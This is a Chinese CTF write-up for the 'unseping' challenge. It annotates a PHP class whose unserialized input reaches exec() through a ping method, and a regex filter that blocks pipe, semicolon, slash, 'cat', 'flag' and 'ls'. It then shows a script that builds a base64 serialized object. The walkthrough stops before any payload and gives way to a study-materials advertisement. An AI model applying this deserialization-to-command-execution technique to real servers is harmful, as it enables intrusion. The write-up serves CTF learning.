【攻防世界】unseping_unseping攻防世界,网络安全黑科技实现原理揭秘

<?php highlight_file(__FILE__); //当前文件的源代码进行高亮显示。 class ease{ private $method; //private:私有访问修饰符,表示成员变量或方法只能在当前类中被访问,无法在子类或其他地方访问; //public:公共访问修饰符,表示成员变量或方法可以在任何地方被访问。 //protected:受保护的访问修饰符,表示成员变量或方法只能在当前类或其子类中被访问 private $args; function __construct($method, $args) { //构造函数__construct用于初始化成员变量 $this->method = $method; //$this 是一个特殊的关键字,用于在类的内部引用当前对象。 /*$this->method表示当前对象的method成员变量,赋值操作=构造函数 的参数$method的值赋给$this->method。*/ $this->args = $args; } function __destruct(){ //__destruct方法在对象销毁时自动被调用; /*首先检查$method是否为数组["ping"]中的一个元素,是,则通过call_user_func_array调用 类中名为ping的方法,并将参数数组$args传入。*/ if (in_array($this->method, array("ping"))) { //array()创建一个数组 //in_array() 检查一个值是否存在于数组 //in_array() 函数接受两个参数:要查找的值和要搜索的数组。它会遍历数组中的每个元素, //并判断是否有元素的值与要查找的值相等 call_user_func_array(array($this, $this->method), $this->args); /*array($this, $this->method)表示一个回调函数,其中$this表示当前对象,$this->method表示对象的方法名。这个回调函数表示调用当前对象的指定方法。 $this->args是一个数组,包含要传递给方法的参数。*/ //call_user_func_array函数将会调用第一个参数指定的回调函数,并将第二个参数$this->args作为参数传递给该函数。 } } function ping($ip){ exec($ip, $result);//exec() 函数接受两个参数:要执行的命令和一个用于存储命令输出的变量,并不直接返回命令的输出结果,而是将其存储到提供的变量中 var_dump($result); //打印$result的值 } function waf($str){ /*类的waf方法接收一个名为$str的参数,用于实现一个简单的防火墙功能。 它使用preg_match_all函数检查$str是否包含一些特定的字符或字符串,如|、&、;、/、cat、flag、tac、php和ls。 如果不包含这些字符或字符串,则返回原始输入$str。否则,输出"don't hack"。*/ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { //preg_match_all()在字符串中执行正则表达式匹配,并返回所有匹配结果。 /*preg_match_all(string $pattern, string $subject, array &$matches, int $flags = 0, int $offset = 0): int|false $pattern:要匹配的正则表达式模式。 $subject:要在其中进行匹配的字符串。 $matches:用于存储匹配结果的数组变量。 $flags:可选参数,用于指定匹配模式的标志。 $offset:可选参数,用于指定匹配的起始位置。 */ /*返回值: 如果preg_match_all函数返回false,即str中不包含匹配的字符或关键字,返回原字符串str;*/ return $str; } else { echo "don't hack"; } } function __wakeup(){ /*__wakeup方法在对象被序列化后被调用,用于对成员变量$args进行处理。 它遍历$args数组,并对每个元素调用waf方法进行过滤,过滤后的结果再替换原有的$args元素值。*/ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); /*使用 foreach 循环遍历this->args数组中的每个元素。对于每个元素,调用 this−>args数组中的每个元素。对于每个元素,调用this->waf()方法进行处理,并将处理后的结果赋值给 v)方法进行处理,并将处理后的结果赋值给this->args数组的相应元素。*/ } } } $ctf=@$_POST['ctf']; /*$_POST 是一个预定义的 PHP 超全局变量,用于接收通过 POST 方法提交的表单数据。 $_POST['ctf'] 表示从 $_POST 数组中获取名为 ctf 的元素的值。@ 符号是 PHP 中的错误控制运算符,用于抑制错误和警告信息的输出。*/ @unserialize(base64_decode($ctf));//代码尝试对$ctf参数进行反序列化操作,通过base64_decode函数解码后调用unserialize函数进行反序列化 ?>

没有对$ctf参数进行有效性检查和过滤,这段代码存在安全风险,可能导致代码注入和命令执行漏洞。

2.写个脚本,用这个类,向类中传入参数:

1.与数组匹配,第一个参数“ping”;

2.绕过简单的防火墙,用“”,‘’,

<?php $a = new ease("ping",array(""));//call_user_func_array(callback, param_arr)函数第二个参数必需是数组 $b = serialize($a); /*一个对象被序列化后才能被反序列化;但我们还得序列化后对其进行编码; 可以先对编码后再序列化吗? $b = base64_encode($a); echo serialize($b); 这样是不行,序列化是将对象转换为字符串的过程,而编码是将字符串转换为另一种表示形式的过程,不能颠倒;*/ echo $b; ?>

/*序列化结果:O:4:“ease”:2:{s:12:“easemethod”;s:4:“ping”;s:10:“easeargs”;a:1:{i:0;s:0:“”;}}
O:4:“ease”:2: 类名为ease的对象,4表示类名的长度,2表示对象属性的数量。
s:12:“easemethod”; 表示第一个属性名为easemethod,12表示属性名的长度。
s:4:“ping”; 表示easemethod属性的值为ping,4表示属性值的长度。
s:10:“easeargs”; 表示第二个属性名为easeargs,10表示属性名的长度。
a:1:{i:0;s:0:“”;} 表示easeargs属性的值为一个数组,其中1表示数组元素的数量,i:0表示数组的索引为0,s:2:““表示数组的值为””,0表示值的长度。*/

脚本代码:
<?php class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } } $a = new ease("ping",array("")); $b = serialize($a); echo $b; $c = base64_encode($b); echo "\n"; echo $c; ?>

得到的结果是:

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

d移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**

  • 23
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值